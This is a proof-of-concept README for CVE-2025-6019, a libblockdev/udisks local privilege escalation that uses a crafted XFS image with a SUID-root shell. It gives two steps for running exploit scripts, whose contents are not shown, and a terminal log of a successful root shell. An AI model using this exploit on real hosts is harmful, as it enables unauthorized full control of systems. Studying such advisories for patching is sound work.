CVE-2025-6019 PoC — Libblockdev: lpe from allow_active to root in libblockdev via udisks

Title:Libblockdev: lpe from allow_active to root in libblockdev via udisks (CVE-2025-6019)
Description:A Local Privilege Escalation (LPE) vulnerability was found in libblockdev. Generally, the "allow_active" setting in Polkit permits a physically present user to take certain actions based on the session type. Due to the way libblockdev interacts with the udisks daemon, an "allow_active" user on a system may be able escalate to full root privileges on the target host. Normally, udisks mounts user-provided filesystem images with security flags like nosuid and nodev to prevent privilege escalation. However, a local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it. This mounts their malicious filesystem with root privileges, allowing them to execute their SUID-root shell and gain complete control of the system.

# CVE-2025-6019_Exploit

- 第一步 在linux设备上运行1.sh,构建xfs.image

- 第二步 将xfs.image传入受害设备执行2.sh 如下即为成功

``` shell
neko@aosc-neko205 [ tmp ] $ bash 2.sh 
当前用户: neko
uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
('yes',)
Mapped file /home/neko/xfs.image as /dev/loop0.
成功找到 Root Shell: /tmp/blockdev.IK6D92/root-shell
正在提权...
root-shell-5.2# id
uid=1000(neko) gid=1001(neko) euid=0(root) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
root-shell-5.2# 
```

 [4.0K]  /data/pocs/e6c0625b91ab0636cc5adc00dd3faca513050551
├── [ 374]  1.sh
├── [ 996]  2.sh
└── [ 658]  README.md

0 directories, 3 files